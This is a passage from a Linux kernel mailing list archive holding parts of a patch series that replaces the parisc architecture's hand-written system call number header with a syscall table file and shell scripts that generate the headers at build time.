+326     common  open_by_handle_at               sys_open_by_handle_at
+327     common  syncfs                          sys_syncfs
+328     common  setns                           sys_setns
+329     common  sendmmsg                        sys_sendmmsg
+330     common  process_vm_readv                sys_process_vm_readv
+331     common  process_vm_writev               sys_process_vm_writev
+332     common  kcmp                            sys_kcmp
+333     common  finit_module                    sys_finit_module
+334     common  sched_setattr                   sys_sched_setattr
+335     common  sched_getattr                   sys_sched_getattr
+336     common  utimes                          sys_utimes
+337     common  renameat2                       sys_renameat2
+338     common  seccomp                         sys_seccomp
+339     common  getrandom                       sys_getrandom
+340     common  memfd_create                    sys_memfd_create
+341     common  bpf                             sys_bpf
+342     common  execveat                        sys_execveat
+343     common  membarrier                      sys_membarrier
+344     common  userfaultfd                     sys_userfaultfd
+345     common  mlock2                          sys_mlock2
+346     common  copy_file_range                 sys_copy_file_range
+347     common  preadv2                         sys_preadv2
+348     common  pwritev2                        sys_pwritev2
+349     common  statx                           sys_statx
+350     common  io_pgetevents                   sys_io_pgetevents
\ No newline at end of file
diff --git a/arch/parisc/kernel/syscalls/syscallhdr.sh b/arch/parisc/kernel/syscalls/syscallhdr.sh
new file mode 100644
index 0000000..607d4ca
--- /dev/null
+++ b/arch/parisc/kernel/syscalls/syscallhdr.sh
@@ -0,0 +1,35 @@
+#!/bin/sh
+# SPDX-License-Identifier: GPL-2.0
+
+in="$1"
+out="$2"
+my_abis=`echo "($3)" | tr ',' '|'`
+prefix="$4"
+offset="$5"
+
+fileguard=_UAPI_ASM_PARISC_`basename "$out" | sed \
+    -e 'y/abcdefghijklmnopqrstuvwxyz/ABCDEFGHIJKLMNOPQRSTUVWXYZ/' \
+    -e 's/[^A-Z0-9_]/_/g' -e 's/__/_/g'`
+grep -E "^[0-9A-Fa-fXx]+[[:space:]]+${my_abis}" "$in" | sort -n | (
+    echo "#ifndef ${fileguard}"
+    echo "#define ${fileguard}"
+    echo ""
+
+    nxt=0
+    while read nr abi name entry compat ; do
+	if [ -z "$offset" ]; then
+	    echo -e "#define __NR_${prefix}${name}\t$nr"
+	else
+	    echo -e "#define __NR_${prefix}${name}\t($offset + $nr)"
+	fi
+	nxt=$nr
+	let nxt=nxt+1
+    done
+
+    echo ""
+    echo "#ifdef __KERNEL__"
+    echo -e "#define __NR_syscalls\t$nxt"
+    echo "#endif"
+    echo ""
+    echo "#endif /* ${fileguard} */"
+) > "$out"
diff --git a/arch/parisc/kernel/syscalls/syscalltbl.sh b/arch/parisc/kernel/syscalls/syscalltbl.sh
new file mode 100644
index 0000000..c441acc
--- /dev/null
+++ b/arch/parisc/kernel/syscalls/syscalltbl.sh
@@ -0,0 +1,42 @@
+#!/bin/sh
+# SPDX-License-Identifier: GPL-2.0
+
+in="$1"
+out="$2"
+my_abi="$3"
+offset="$4"
+
+emit() {
+    nxt="$1"
+    nr="$2"
+    entry="$3"
+
+    while [ $nxt -lt $nr ]; do
+	echo "__SYSCALL($nxt, sys_ni_syscall, )"
+        let nxt=nxt+1
+    done
+
+    echo "__SYSCALL($nr, $entry, )"
+}
+
+grep '^[0-9]' "$in" | sort -n | (
+    if [ -z "$offset" ]; then
+	nxt=0
+    else
+	nxt=$offset
+    fi
+
+    while read nr abi name entry compat ; do
+	if [ "$my_abi" = "64" -o "$my_abi" = "32" ]; then
+            emit $nxt $nr $entry
+	elif [ "$my_abi" = "c32" ]; then
+	    if [ -z "$compat" ]; then
+                emit $nxt $nr $entry
+            else
+                emit $nxt $nr $compat
+            fi
+	fi
+	nxt=$nr
+        let nxt=nxt+1
+    done
+) > "$out"
-- 
1.9.1



From - Thu Nov 08 21:42:03 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Firoz Khan <firoz.khan@linaro.org>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.kernel.year-2038,gmane.linux.kernel.cross-arch
Subject: [PATCH v2 4/5] parisc: uapi header and system call table file generation
Date: Thu, 27 Sep 2018 19:54:26 +0530
Lines: 993
Approved: news@gmane.org
Message-ID: <1538058267-3765-5-git-send-email-firoz.khan@linaro.org>
References: <1538058267-3765-1-git-send-email-firoz.khan@linaro.org>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1538058206 31558 195.159.176.226 (27 Sep 2018 14:23:26 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 27 Sep 2018 14:23:26 +0000 (UTC)
Cc: y2038@lists.linaro.org, linux-kernel@vger.kernel.org,
        linux-arch@vger.kernel.org, arnd@arndb.de, deepa.kernel@gmail.com,
        marcin.juszkiewicz@linaro.org, firoz.khan@linaro.org
To: linux-parisc@vger.kernel.org,
        "James E . J . Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Thomas Gleixner <tglx@linutronix.de>,
        Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
        Philippe Ombredanne <pombredanne@nexb.com>,
        Kate Stewart <kstewart@linuxfoundation.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Sep 27 16:23:21 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1g5XCI-00083u-Rz
	for glk-linux-kernel-4@m.gmane.org; Thu, 27 Sep 2018 16:23:19 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1728241AbeI0Un6 (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Thu, 27 Sep 2018 16:43:58 -0400
Original-Received: from mail-pg1-f196.google.com ([209.85.215.196]:40572 "EHLO
        mail-pg1-f196.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1727410AbeI0Un5 (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Thu, 27 Sep 2018 16:43:57 -0400
Original-Received: by mail-pg1-f196.google.com with SMTP id n31-v6so2088039pgm.7
        for <linux-kernel@vger.kernel.org>; Thu, 27 Sep 2018 07:25:26 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=linaro.org; s=google;
        h=from:to:cc:subject:date:message-id:in-reply-to:references;
        bh=bTLq6qmIZS/7kPqPaeUdRQauNE+YXrkiPAx1AEI60tk=;
        b=SZ23YU4MMKbEcvZHkr6Q0pcg/jAORJDlQb3Z9ogAo4i9Qecsm52UFKCzLs/turVuHP
         ziBPjN1GoJxg2tcMmgdrtE9qsPHEI3yxBqHyb7dVLC81ILdxW62ffBVLwrr6RfYlOkgC
         5AgsJD8ZKCVnS+vNIlNUX8QT3QqSXKaXYWL3w=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to
         :references;
        bh=bTLq6qmIZS/7kPqPaeUdRQauNE+YXrkiPAx1AEI60tk=;
        b=M46SDr9OxgJMTQBzRnTF+D3jk0kRALml5Gef/I4JQW4GnJ53ZKidvf5AosKISfVLmb
         o/Qmhh2lYPGVGAfIpwaIvELfajOiCEvjXtsgOhm7nLostnfqwQC5eIwUvBTYxFnskRxn
         NX2VKJObs71shXD3mN9nwWBQN7yETKXZvG1I2t3Uc7QbDPjzzoq2kYRcpBwrOs/XSPds
         3PjN+i0NgahEtUV6mVTMdbyrV4QrjmIUs9++1QhdSkCol/V8h1PszKPYSIarYaEYYZWO
         qcYTkP3vAux/Kiu5Ob7LfAkFmiKdB5aHR19+EkPITmuY8Thxz/7Cpx46z6vh37lj1p1T
         bZtQ==
X-Gm-Message-State: ABuFfoiUCFpUrY90l7gftJ9ATm4Mu/x8KK5h+qevB+5shXDiYvVKnvyU
        jczByAwF2k2fCOg0GbWoWdCHjA==
X-Google-Smtp-Source: ACcGV61t2VK0LxkBUOePpsjx14Axx+Do6V3De7M4worNDVq+AqVxvBnwttTb9YFcgP48uXyHniIXwg==
X-Received: by 2002:a62:215b:: with SMTP id h88-v6mr6859792pfh.233.1538058324913;
        Thu, 27 Sep 2018 07:25:24 -0700 (PDT)
Original-Received: from qualcomm-HP-ZBook-14-G2.domain.name ([106.51.105.186])
        by smtp.gmail.com with ESMTPSA id f81-v6sm9717421pfh.46.2018.09.27.07.25.19
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-SHA bits=128/128);
        Thu, 27 Sep 2018 07:25:24 -0700 (PDT)
X-Mailer: git-send-email 2.7.4
In-Reply-To: <1538058267-3765-1-git-send-email-firoz.khan@linaro.org>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2883757 gmane.linux.ports.parisc:29037 gmane.linux.kernel.year-2038:3418 gmane.linux.kernel.cross-arch:47005
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2883757>

System call table generation script must be run to generate
unistd_32/64.h and syscall_table_32/64/c32.h files. This patch
will have changes which will invokes the script.

This patch will generate unistd_32/64.h and syscall_table_
32/64/c32.h files by the syscall table generation script
invoked by arch/parisc/Makefile and the generated files against
the removed files will be identical.

The generated uapi header file will be included in uapi/asm/
unistd_32/64.h and generated system call table support file will
be included by arch/sparc/kernel/syscall_table_32/64.S file.

Signed-off-by: Firoz Khan <firoz.khan@linaro.org>
---
 arch/parisc/Makefile                  |   4 +
 arch/parisc/include/asm/Kbuild        |   3 +
 arch/parisc/include/uapi/asm/Kbuild   |   2 +
 arch/parisc/include/uapi/asm/unistd.h | 375 +--------------------------
 arch/parisc/kernel/syscall.S          |  12 +-
 arch/parisc/kernel/syscall_table.S    | 459 ----------------------------------
 arch/parisc/kernel/syscall_table_32.S |  13 +
 arch/parisc/kernel/syscall_table_64.S |  20 ++
 8 files changed, 51 insertions(+), 837 deletions(-)
 delete mode 100644 arch/parisc/kernel/syscall_table.S
 create mode 100644 arch/parisc/kernel/syscall_table_32.S
 create mode 100644 arch/parisc/kernel/syscall_table_64.S

diff --git a/arch/parisc/Makefile b/arch/parisc/Makefile
index 5ce0302..6b217da 100644
--- a/arch/parisc/Makefile
+++ b/arch/parisc/Makefile
@@ -159,6 +159,10 @@ endef
 
 # we require gcc 3.3 or above to compile the kernel
 archprepare: checkbin
+
+archheaders:
+	$(Q)$(MAKE) $(build)=arch/parisc/kernel/syscalls all
+
 checkbin:
 	@if test "$(cc-version)" -lt "0303"; then \
 		echo -n "Sorry, GCC v3.3 or above is required to build " ; \
diff --git a/arch/parisc/include/asm/Kbuild b/arch/parisc/include/asm/Kbuild
index 2013d63..dd52f2c 100644
--- a/arch/parisc/include/asm/Kbuild
+++ b/arch/parisc/include/asm/Kbuild
@@ -23,3 +23,6 @@ generic-y += user.h
 generic-y += vga.h
 generic-y += word-at-a-time.h
 generic-y += xor.h
+generic-y += syscall_table_32.h
+generic-y += syscall_table_64.h
+generic-y += syscall_table_c32.h
\ No newline at end of file
diff --git a/arch/parisc/include/uapi/asm/Kbuild b/arch/parisc/include/uapi/asm/Kbuild
index 286ef5a..02103fc 100644
--- a/arch/parisc/include/uapi/asm/Kbuild
+++ b/arch/parisc/include/uapi/asm/Kbuild
@@ -7,3 +7,5 @@ generic-y += kvm_para.h
 generic-y += param.h
 generic-y += poll.h
 generic-y += resource.h
+generic-y += unistd_32.h
+generic-y += unistd_64.h
\ No newline at end of file
diff --git a/arch/parisc/include/uapi/asm/unistd.h b/arch/parisc/include/uapi/asm/unistd.h
index 255c62a..643a006 100644
--- a/arch/parisc/include/uapi/asm/unistd.h
+++ b/arch/parisc/include/uapi/asm/unistd.h
@@ -2,376 +2,15 @@
 #ifndef _UAPI_ASM_PARISC_UNISTD_H_
 #define _UAPI_ASM_PARISC_UNISTD_H_
 
-/*
- * Linux system call numbers.
- *
- * Cary Coutant says that we should just use another syscall gateway
- * page to avoid clashing with the HPUX space, and I think he's right:
- * it will would keep a branch out of our syscall entry path, at the
- * very least.  If we decide to change it later, we can ``just'' tweak
- * the LINUX_GATEWAY_ADDR define at the bottom and make __NR_Linux be
- * 1024 or something.  Oh, and recompile libc. =)
- */
-
-#define __NR_Linux                0
-#define __NR_restart_syscall      (__NR_Linux + 0)
-#define __NR_exit                 (__NR_Linux + 1)
-#define __NR_fork                 (__NR_Linux + 2)
-#define __NR_read                 (__NR_Linux + 3)
-#define __NR_write                (__NR_Linux + 4)
-#define __NR_open                 (__NR_Linux + 5)
-#define __NR_close                (__NR_Linux + 6)
-#define __NR_waitpid              (__NR_Linux + 7)
-#define __NR_creat                (__NR_Linux + 8)
-#define __NR_link                 (__NR_Linux + 9)
-#define __NR_unlink              (__NR_Linux + 10)
-#define __NR_execve              (__NR_Linux + 11)
-#define __NR_chdir               (__NR_Linux + 12)
-#define __NR_time                (__NR_Linux + 13)
-#define __NR_mknod               (__NR_Linux + 14)
-#define __NR_chmod               (__NR_Linux + 15)
-#define __NR_lchown              (__NR_Linux + 16)
-#define __NR_socket              (__NR_Linux + 17)
-#define __NR_stat                (__NR_Linux + 18)
-#define __NR_lseek               (__NR_Linux + 19)
-#define __NR_getpid              (__NR_Linux + 20)
-#define __NR_mount               (__NR_Linux + 21)
-#define __NR_bind                (__NR_Linux + 22)
-#define __NR_setuid              (__NR_Linux + 23)
-#define __NR_getuid              (__NR_Linux + 24)
-#define __NR_stime               (__NR_Linux + 25)
-#define __NR_ptrace              (__NR_Linux + 26)
-#define __NR_alarm               (__NR_Linux + 27)
-#define __NR_fstat               (__NR_Linux + 28)
-#define __NR_pause               (__NR_Linux + 29)
-#define __NR_utime               (__NR_Linux + 30)
-#define __NR_connect             (__NR_Linux + 31)
-#define __NR_listen              (__NR_Linux + 32)
-#define __NR_access              (__NR_Linux + 33)
-#define __NR_nice                (__NR_Linux + 34)
-#define __NR_accept              (__NR_Linux + 35)
-#define __NR_sync                (__NR_Linux + 36)
-#define __NR_kill                (__NR_Linux + 37)
-#define __NR_rename              (__NR_Linux + 38)
-#define __NR_mkdir               (__NR_Linux + 39)
-#define __NR_rmdir               (__NR_Linux + 40)
-#define __NR_dup                 (__NR_Linux + 41)
-#define __NR_pipe                (__NR_Linux + 42)
-#define __NR_times               (__NR_Linux + 43)
-#define __NR_getsockname         (__NR_Linux + 44)
-#define __NR_brk                 (__NR_Linux + 45)
-#define __NR_setgid              (__NR_Linux + 46)
-#define __NR_getgid              (__NR_Linux + 47)
-#define __NR_signal              (__NR_Linux + 48)
-#define __NR_geteuid             (__NR_Linux + 49)
-#define __NR_getegid             (__NR_Linux + 50)
-#define __NR_acct                (__NR_Linux + 51)
-#define __NR_umount2             (__NR_Linux + 52)
-#define __NR_getpeername         (__NR_Linux + 53)
-#define __NR_ioctl               (__NR_Linux + 54)
-#define __NR_fcntl               (__NR_Linux + 55)
-#define __NR_socketpair          (__NR_Linux + 56)
-#define __NR_setpgid             (__NR_Linux + 57)
-#define __NR_send                (__NR_Linux + 58)
-#define __NR_uname               (__NR_Linux + 59)
-#define __NR_umask               (__NR_Linux + 60)
-#define __NR_chroot              (__NR_Linux + 61)
-#define __NR_ustat               (__NR_Linux + 62)
-#define __NR_dup2                (__NR_Linux + 63)
-#define __NR_getppid             (__NR_Linux + 64)
-#define __NR_getpgrp             (__NR_Linux + 65)
-#define __NR_setsid              (__NR_Linux + 66)
-#define __NR_pivot_root          (__NR_Linux + 67)
-#define __NR_sgetmask            (__NR_Linux + 68)
-#define __NR_ssetmask            (__NR_Linux + 69)
-#define __NR_setreuid            (__NR_Linux + 70)
-#define __NR_setregid            (__NR_Linux + 71)
-#define __NR_mincore             (__NR_Linux + 72)
-#define __NR_sigpending          (__NR_Linux + 73)
-#define __NR_sethostname         (__NR_Linux + 74)
-#define __NR_setrlimit           (__NR_Linux + 75)
-#define __NR_getrlimit           (__NR_Linux + 76)
-#define __NR_getrusage           (__NR_Linux + 77)
-#define __NR_gettimeofday        (__NR_Linux + 78)
-#define __NR_settimeofday        (__NR_Linux + 79)
-#define __NR_getgroups           (__NR_Linux + 80)
-#define __NR_setgroups           (__NR_Linux + 81)
-#define __NR_sendto              (__NR_Linux + 82)
-#define __NR_symlink             (__NR_Linux + 83)
-#define __NR_lstat               (__NR_Linux + 84)
-#define __NR_readlink            (__NR_Linux + 85)
-#define __NR_uselib              (__NR_Linux + 86)
-#define __NR_swapon              (__NR_Linux + 87)
-#define __NR_reboot              (__NR_Linux + 88)
-#define __NR_mmap2               (__NR_Linux + 89)
-#define __NR_mmap                (__NR_Linux + 90)
-#define __NR_munmap              (__NR_Linux + 91)
-#define __NR_truncate            (__NR_Linux + 92)
-#define __NR_ftruncate           (__NR_Linux + 93)
-#define __NR_fchmod              (__NR_Linux + 94)
-#define __NR_fchown              (__NR_Linux + 95)
-#define __NR_getpriority         (__NR_Linux + 96)
-#define __NR_setpriority         (__NR_Linux + 97)
-#define __NR_recv                (__NR_Linux + 98)
-#define __NR_statfs              (__NR_Linux + 99)
-#define __NR_fstatfs            (__NR_Linux + 100)
-#define __NR_stat64             (__NR_Linux + 101)
-/* #define __NR_socketcall         (__NR_Linux + 102) */
-#define __NR_syslog             (__NR_Linux + 103)
-#define __NR_setitimer          (__NR_Linux + 104)
-#define __NR_getitimer          (__NR_Linux + 105)
-#define __NR_capget             (__NR_Linux + 106)
-#define __NR_capset             (__NR_Linux + 107)
-#define __NR_pread64            (__NR_Linux + 108)
-#define __NR_pwrite64           (__NR_Linux + 109)
-#define __NR_getcwd             (__NR_Linux + 110)
-#define __NR_vhangup            (__NR_Linux + 111)
-#define __NR_fstat64            (__NR_Linux + 112)
-#define __NR_vfork              (__NR_Linux + 113)
-#define __NR_wait4              (__NR_Linux + 114)
-#define __NR_swapoff            (__NR_Linux + 115)
-#define __NR_sysinfo            (__NR_Linux + 116)
-#define __NR_shutdown           (__NR_Linux + 117)
-#define __NR_fsync              (__NR_Linux + 118)
-#define __NR_madvise            (__NR_Linux + 119)
-#define __NR_clone              (__NR_Linux + 120)
-#define __NR_setdomainname      (__NR_Linux + 121)
-#define __NR_sendfile           (__NR_Linux + 122)
-#define __NR_recvfrom           (__NR_Linux + 123)
-#define __NR_adjtimex           (__NR_Linux + 124)
-#define __NR_mprotect           (__NR_Linux + 125)
-#define __NR_sigprocmask        (__NR_Linux + 126)
-#define __NR_create_module      (__NR_Linux + 127) /* not used */
-#define __NR_init_module        (__NR_Linux + 128)
-#define __NR_delete_module      (__NR_Linux + 129)
-#define __NR_get_kernel_syms    (__NR_Linux + 130) /* not used */
-#define __NR_quotactl           (__NR_Linux + 131)
-#define __NR_getpgid            (__NR_Linux + 132)
-#define __NR_fchdir             (__NR_Linux + 133)
-#define __NR_bdflush            (__NR_Linux + 134)
-#define __NR_sysfs              (__NR_Linux + 135)
-#define __NR_personality        (__NR_Linux + 136)
-#define __NR_afs_syscall        (__NR_Linux + 137) /* not used */
-#define __NR_setfsuid           (__NR_Linux + 138)
-#define __NR_setfsgid           (__NR_Linux + 139)
-#define __NR__llseek            (__NR_Linux + 140)
-#define __NR_getdents           (__NR_Linux + 141)
-#define __NR__newselect         (__NR_Linux + 142)
-#define __NR_flock              (__NR_Linux + 143)
-#define __NR_msync              (__NR_Linux + 144)
-#define __NR_readv              (__NR_Linux + 145)
-#define __NR_writev             (__NR_Linux + 146)
-#define __NR_getsid             (__NR_Linux + 147)
-#define __NR_fdatasync          (__NR_Linux + 148)
-#define __NR__sysctl            (__NR_Linux + 149)
-#define __NR_mlock              (__NR_Linux + 150)
-#define __NR_munlock            (__NR_Linux + 151)
-#define __NR_mlockall           (__NR_Linux + 152)
-#define __NR_munlockall         (__NR_Linux + 153)
-#define __NR_sched_setparam             (__NR_Linux + 154)
-#define __NR_sched_getparam             (__NR_Linux + 155)
-#define __NR_sched_setscheduler         (__NR_Linux + 156)
-#define __NR_sched_getscheduler         (__NR_Linux + 157)
-#define __NR_sched_yield                (__NR_Linux + 158)
-#define __NR_sched_get_priority_max     (__NR_Linux + 159)
-#define __NR_sched_get_priority_min     (__NR_Linux + 160)
-#define __NR_sched_rr_get_interval      (__NR_Linux + 161)
-#define __NR_nanosleep          (__NR_Linux + 162)
-#define __NR_mremap             (__NR_Linux + 163)
-#define __NR_setresuid          (__NR_Linux + 164)
-#define __NR_getresuid          (__NR_Linux + 165)
-#define __NR_sigaltstack        (__NR_Linux + 166)
-#define __NR_query_module       (__NR_Linux + 167) /* not used */
-#define __NR_poll               (__NR_Linux + 168)
-#define __NR_nfsservctl         (__NR_Linux + 169) /* not used */
-#define __NR_setresgid          (__NR_Linux + 170)
-#define __NR_getresgid          (__NR_Linux + 171)
-#define __NR_prctl              (__NR_Linux + 172)
-#define __NR_rt_sigreturn       (__NR_Linux + 173)
-#define __NR_rt_sigaction       (__NR_Linux + 174)
-#define __NR_rt_sigprocmask     (__NR_Linux + 175)
-#define __NR_rt_sigpending      (__NR_Linux + 176)
-#define __NR_rt_sigtimedwait    (__NR_Linux + 177)
-#define __NR_rt_sigqueueinfo    (__NR_Linux + 178)
-#define __NR_rt_sigsuspend      (__NR_Linux + 179)
-#define __NR_chown              (__NR_Linux + 180)
-#define __NR_setsockopt         (__NR_Linux + 181)
-#define __NR_getsockopt         (__NR_Linux + 182)
-#define __NR_sendmsg            (__NR_Linux + 183)
-#define __NR_recvmsg            (__NR_Linux + 184)
-#define __NR_semop              (__NR_Linux + 185)
-#define __NR_semget             (__NR_Linux + 186)
-#define __NR_semctl             (__NR_Linux + 187)
-#define __NR_msgsnd             (__NR_Linux + 188)
-#define __NR_msgrcv             (__NR_Linux + 189)
-#define __NR_msgget             (__NR_Linux + 190)
-#define __NR_msgctl             (__NR_Linux + 191)
-#define __NR_shmat              (__NR_Linux + 192)
-#define __NR_shmdt              (__NR_Linux + 193)
-#define __NR_shmget             (__NR_Linux + 194)
-#define __NR_shmctl             (__NR_Linux + 195)
-#define __NR_getpmsg            (__NR_Linux + 196) /* not used */
-#define __NR_putpmsg            (__NR_Linux + 197) /* not used */
-#define __NR_lstat64            (__NR_Linux + 198)
-#define __NR_truncate64         (__NR_Linux + 199)
-#define __NR_ftruncate64        (__NR_Linux + 200)
-#define __NR_getdents64         (__NR_Linux + 201)
-#define __NR_fcntl64            (__NR_Linux + 202)
-#define __NR_attrctl            (__NR_Linux + 203) /* not used */
-#define __NR_acl_get            (__NR_Linux + 204) /* not used */
-#define __NR_acl_set            (__NR_Linux + 205) /* not used */
-#define __NR_gettid             (__NR_Linux + 206)
-#define __NR_readahead          (__NR_Linux + 207)
-#define __NR_tkill              (__NR_Linux + 208)
-#define __NR_sendfile64         (__NR_Linux + 209)
-#define __NR_futex              (__NR_Linux + 210)
-#define __NR_sched_setaffinity  (__NR_Linux + 211)
-#define __NR_sched_getaffinity  (__NR_Linux + 212)
-#define __NR_set_thread_area    (__NR_Linux + 213) /* not used */
-#define __NR_get_thread_area    (__NR_Linux + 214) /* not used */
-#define __NR_io_setup           (__NR_Linux + 215)
-#define __NR_io_destroy         (__NR_Linux + 216)
-#define __NR_io_getevents       (__NR_Linux + 217)
-#define __NR_io_submit          (__NR_Linux + 218)
-#define __NR_io_cancel          (__NR_Linux + 219)
-#define __NR_alloc_hugepages    (__NR_Linux + 220) /* not used */
-#define __NR_free_hugepages     (__NR_Linux + 221) /* not used */
-#define __NR_exit_group         (__NR_Linux + 222)
-#define __NR_lookup_dcookie     (__NR_Linux + 223)
-#define __NR_epoll_create       (__NR_Linux + 224)
-#define __NR_epoll_ctl          (__NR_Linux + 225)
-#define __NR_epoll_wait         (__NR_Linux + 226)
-#define __NR_remap_file_pages   (__NR_Linux + 227)
-#define __NR_semtimedop         (__NR_Linux + 228)
-#define __NR_mq_open            (__NR_Linux + 229)
-#define __NR_mq_unlink          (__NR_Linux + 230)
-#define __NR_mq_timedsend       (__NR_Linux + 231)
-#define __NR_mq_timedreceive    (__NR_Linux + 232)
-#define __NR_mq_notify          (__NR_Linux + 233)
-#define __NR_mq_getsetattr      (__NR_Linux + 234)
-#define __NR_waitid		(__NR_Linux + 235)
-#define __NR_fadvise64_64	(__NR_Linux + 236)
-#define __NR_set_tid_address	(__NR_Linux + 237)
-#define __NR_setxattr		(__NR_Linux + 238)
-#define __NR_lsetxattr		(__NR_Linux + 239)
-#define __NR_fsetxattr		(__NR_Linux + 240)
-#define __NR_getxattr		(__NR_Linux + 241)
-#define __NR_lgetxattr		(__NR_Linux + 242)
-#define __NR_fgetxattr		(__NR_Linux + 243)
-#define __NR_listxattr		(__NR_Linux + 244)
-#define __NR_llistxattr		(__NR_Linux + 245)
-#define __NR_flistxattr		(__NR_Linux + 246)
-#define __NR_removexattr	(__NR_Linux + 247)
-#define __NR_lremovexattr	(__NR_Linux + 248)
-#define __NR_fremovexattr	(__NR_Linux + 249)
-#define __NR_timer_create	(__NR_Linux + 250)
-#define __NR_timer_settime	(__NR_Linux + 251)
-#define __NR_timer_gettime	(__NR_Linux + 252)
-#define __NR_timer_getoverrun	(__NR_Linux + 253)
-#define __NR_timer_delete	(__NR_Linux + 254)
-#define __NR_clock_settime	(__NR_Linux + 255)
-#define __NR_clock_gettime	(__NR_Linux + 256)
-#define __NR_clock_getres	(__NR_Linux + 257)
-#define __NR_clock_nanosleep	(__NR_Linux + 258)
-#define __NR_tgkill		(__NR_Linux + 259)
-#define __NR_mbind		(__NR_Linux + 260)
-#define __NR_get_mempolicy	(__NR_Linux + 261)
-#define __NR_set_mempolicy	(__NR_Linux + 262)
-#define __NR_vserver		(__NR_Linux + 263) /* not used */
-#define __NR_add_key		(__NR_Linux + 264)
-#define __NR_request_key	(__NR_Linux + 265)
-#define __NR_keyctl		(__NR_Linux + 266)
-#define __NR_ioprio_set		(__NR_Linux + 267)
-#define __NR_ioprio_get		(__NR_Linux + 268)
-#define __NR_inotify_init	(__NR_Linux + 269)
-#define __NR_inotify_add_watch	(__NR_Linux + 270)
-#define __NR_inotify_rm_watch	(__NR_Linux + 271)
-#define __NR_migrate_pages	(__NR_Linux + 272)
-#define __NR_pselect6		(__NR_Linux + 273)
-#define __NR_ppoll		(__NR_Linux + 274)
-#define __NR_openat		(__NR_Linux + 275)
-#define __NR_mkdirat		(__NR_Linux + 276)
-#define __NR_mknodat		(__NR_Linux + 277)
-#define __NR_fchownat		(__NR_Linux + 278)
-#define __NR_futimesat		(__NR_Linux + 279)
-#define __NR_fstatat64		(__NR_Linux + 280)
-#define __NR_unlinkat		(__NR_Linux + 281)
-#define __NR_renameat		(__NR_Linux + 282)
-#define __NR_linkat		(__NR_Linux + 283)
-#define __NR_symlinkat		(__NR_Linux + 284)
-#define __NR_readlinkat		(__NR_Linux + 285)
-#define __NR_fchmodat		(__NR_Linux + 286)
-#define __NR_faccessat		(__NR_Linux + 287)
-#define __NR_unshare		(__NR_Linux + 288)
-#define __NR_set_robust_list	(__NR_Linux + 289)
-#define __NR_get_robust_list	(__NR_Linux + 290)
-#define __NR_splice		(__NR_Linux + 291)
-#define __NR_sync_file_range	(__NR_Linux + 292)
-#define __NR_tee		(__NR_Linux + 293)
-#define __NR_vmsplice		(__NR_Linux + 294)
-#define __NR_move_pages		(__NR_Linux + 295)
-#define __NR_getcpu		(__NR_Linux + 296)
-#define __NR_epoll_pwait	(__NR_Linux + 297)
-#define __NR_statfs64		(__NR_Linux + 298)
-#define __NR_fstatfs64		(__NR_Linux + 299)
-#define __NR_kexec_load		(__NR_Linux + 300)
-#define __NR_utimensat		(__NR_Linux + 301)
-#define __NR_signalfd		(__NR_Linux + 302)
-#define __NR_timerfd		(__NR_Linux + 303) /* not used */
-#define __NR_eventfd		(__NR_Linux + 304)
-#define __NR_fallocate		(__NR_Linux + 305)
-#define __NR_timerfd_create	(__NR_Linux + 306)
-#define __NR_timerfd_settime	(__NR_Linux + 307)
-#define __NR_timerfd_gettime	(__NR_Linux + 308)
-#define __NR_signalfd4		(__NR_Linux + 309)
-#define __NR_eventfd2		(__NR_Linux + 310)
-#define __NR_epoll_create1	(__NR_Linux + 311)
-#define __NR_dup3		(__NR_Linux + 312)
-#define __NR_pipe2		(__NR_Linux + 313)
-#define __NR_inotify_init1	(__NR_Linux + 314)
-#define __NR_preadv		(__NR_Linux + 315)
-#define __NR_pwritev		(__NR_Linux + 316)
-#define __NR_rt_tgsigqueueinfo	(__NR_Linux + 317)
-#define __NR_perf_event_open	(__NR_Linux + 318)
-#define __NR_recvmmsg		(__NR_Linux + 319)
-#define __NR_accept4		(__NR_Linux + 320)
-#define __NR_prlimit64		(__NR_Linux + 321)
-#define __NR_fanotify_init	(__NR_Linux + 322)
-#define __NR_fanotify_mark	(__NR_Linux + 323)
-#define __NR_clock_adjtime	(__NR_Linux + 324)
-#define __NR_name_to_handle_at	(__NR_Linux + 325)
-#define __NR_open_by_handle_at	(__NR_Linux + 326)
-#define __NR_syncfs		(__NR_Linux + 327)
-#define __NR_setns		(__NR_Linux + 328)
-#define __NR_sendmmsg		(__NR_Linux + 329)
-#define __NR_process_vm_readv	(__NR_Linux + 330)
-#define __NR_process_vm_writev	(__NR_Linux + 331)
-#define __NR_kcmp		(__NR_Linux + 332)
-#define __NR_finit_module	(__NR_Linux + 333)
-#define __NR_sched_setattr	(__NR_Linux + 334)
-#define __NR_sched_getattr	(__NR_Linux + 335)
-#define __NR_utimes		(__NR_Linux + 336)
-#define __NR_renameat2		(__NR_Linux + 337)
-#define __NR_seccomp		(__NR_Linux + 338)
-#define __NR_getrandom		(__NR_Linux + 339)
-#define __NR_memfd_create	(__NR_Linux + 340)
